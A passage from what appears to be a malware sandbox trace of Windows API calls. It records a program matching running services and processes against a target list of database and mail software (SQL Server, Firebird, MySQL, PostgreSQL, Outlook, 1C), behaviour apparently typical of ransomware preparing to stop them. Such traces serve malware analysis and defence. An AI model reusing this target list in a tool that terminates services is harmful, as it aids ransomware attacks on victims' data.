lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0100.072] lstrlenW (lpString="gpsvc") returned 5 [0100.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0100.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0100.073] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0100.073] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0100.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0100.073] lstrlenW (lpString="iphlpsvc") returned 8 [0100.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0100.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0100.073] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0100.073] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0100.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0100.073] lstrlenW (lpString="LanmanServer") returned 12 [0100.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0100.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0100.073] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0100.073] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0100.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0100.073] lstrlenW (lpString="LanmanWorkstation") returned 17 [0100.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0100.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0100.073] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0100.073] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0100.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0100.073] lstrlenW (lpString="lmhosts") returned 7 [0100.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0100.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0100.074] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0100.074] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0100.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0100.074] lstrlenW (lpString="MMCSS") returned 5 [0100.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0100.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0100.074] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0100.074] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0100.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0100.074] lstrlenW (lpString="MpsSvc") returned 6 [0100.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0100.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0100.074] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0100.074] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0100.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0100.074] lstrlenW (lpString="Netman") returned 6 [0100.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0100.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0100.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0100.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0100.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0100.074] lstrlenW (lpString="netprofm") returned 8 [0100.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0100.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0100.075] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0100.075] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0100.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0100.075] lstrlenW (lpString="NlaSvc") returned 6 [0100.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0100.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0100.075] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0100.075] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0100.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0100.075] lstrlenW (lpString="nsi") returned 3 [0100.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0100.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0100.075] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0100.075] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0100.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0100.075] lstrlenW (lpString="PcaSvc") returned 6 [0100.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0100.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0100.075] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0100.075] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0100.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0100.075] lstrlenW (lpString="PlugPlay") returned 8 [0100.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0100.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0100.076] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0100.076] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0100.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0100.076] lstrlenW (lpString="Power") returned 5 [0100.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0100.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0100.076] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0100.076] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0100.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0100.076] lstrlenW (lpString="ProfSvc") returned 7 [0100.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0100.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0100.076] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0100.076] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0100.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0100.076] lstrlenW (lpString="RpcEptMapper") returned 12 [0100.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0100.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0100.076] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0100.076] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0100.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0100.076] lstrlenW (lpString="RpcSs") returned 5 [0100.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0100.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0100.077] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0100.077] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0100.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0100.077] lstrlenW (lpString="SamSs") returned 5 [0100.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0100.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0100.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0100.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0100.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0100.077] lstrlenW (lpString="Schedule") returned 8 [0100.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0100.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0100.077] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0100.077] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0100.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0100.077] lstrlenW (lpString="SENS") returned 4 [0100.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0100.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0100.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0100.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0100.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0100.077] lstrlenW (lpString="ShellHWDetection") returned 16 [0100.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0100.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0100.078] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0100.078] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0100.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0100.078] lstrlenW (lpString="Spooler") returned 7 [0100.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0100.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0100.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0100.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0100.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0100.078] lstrlenW (lpString="swprv") returned 5 [0100.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0100.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0100.078] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0100.078] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0100.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0100.078] lstrlenW (lpString="SysMain") returned 7 [0100.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0100.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0100.078] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0100.078] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0100.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0100.078] lstrlenW (lpString="Themes") returned 6 [0100.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0100.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0100.079] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0100.079] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0100.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0100.079] lstrlenW (lpString="TrkWks") returned 6 [0100.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0100.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0100.079] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0100.079] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0100.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0100.079] lstrlenW (lpString="UxSms") returned 5 [0100.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0100.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0100.079] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0100.079] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0100.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0100.079] lstrlenW (lpString="VSS") returned 3 [0100.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0100.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0100.079] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0100.079] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0100.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0100.079] lstrlenW (lpString="WdiServiceHost") returned 14 [0100.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0100.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0100.080] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0100.080] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0100.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0100.080] lstrlenW (lpString="WdiSystemHost") returned 13 [0100.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0100.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0100.080] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0100.080] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0100.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0100.080] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0100.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0100.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0100.080] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0100.080] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0100.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0100.080] lstrlenW (lpString="Winmgmt") returned 7 [0100.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0100.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0100.080] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0100.080] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0100.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0100.080] lstrlenW (lpString="WPDBusEnum") returned 10 [0100.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0100.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0100.081] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0100.081] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0100.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0100.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39777a0 | out: hHeap=0x5b0000) returned 1 [0100.081] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18c [0100.087] Process32FirstW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.088] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0100.088] lstrlenW (lpString="System") returned 6 [0100.088] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0100.088] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0100.088] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0100.089] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0100.089] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0100.089] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0100.089] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0100.089] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0100.089] lstrlenW (lpString="smss.exe") returned 8 [0100.089] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0100.089] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0100.089] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0100.090] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0100.090] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0100.090] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0100.090] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0100.090] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.090] lstrlenW (lpString="csrss.exe") returned 9 [0100.090] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0100.090] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0100.090] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0100.090] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0100.091] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0100.091] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0100.091] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0100.091] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0100.091] lstrlenW (lpString="wininit.exe") returned 11 [0100.091] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0100.091] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0100.091] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0100.092] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.092] lstrlenW (lpString="csrss.exe") returned 9 [0100.093] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0100.093] lstrlenW (lpString="winlogon.exe") returned 12 [0100.093] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0100.094] lstrlenW (lpString="services.exe") returned 12 [0100.094] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0100.095] lstrlenW (lpString="lsass.exe") returned 9 [0100.095] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0100.096] lstrlenW (lpString="lsm.exe") returned 7 [0100.096] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.096] lstrlenW (lpString="svchost.exe") returned 11 [0100.096] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.097] lstrlenW (lpString="svchost.exe") returned 11 [0100.097] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.099] lstrlenW (lpString="svchost.exe") returned 11 [0100.099] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.100] lstrlenW (lpString="svchost.exe") returned 11 [0100.100] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.101] lstrlenW (lpString="svchost.exe") returned 11 [0100.102] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0100.102] lstrlenW (lpString="audiodg.exe") returned 11 [0100.102] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.103] lstrlenW (lpString="svchost.exe") returned 11 [0100.103] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.104] lstrlenW (lpString="svchost.exe") returned 11 [0100.104] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0100.105] lstrlenW (lpString="dwm.exe") returned 7 [0100.105] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0100.106] lstrlenW (lpString="explorer.exe") returned 12 [0100.106] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0100.107] lstrlenW (lpString="spoolsv.exe") returned 11 [0100.107] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.108] lstrlenW (lpString="svchost.exe") returned 11 [0100.108] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0100.109] lstrlenW (lpString="taskhost.exe") returned 12 [0100.109] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0100.110] lstrlenW (lpString="taskeng.exe") returned 11 [0100.110] Process32NextW (in: 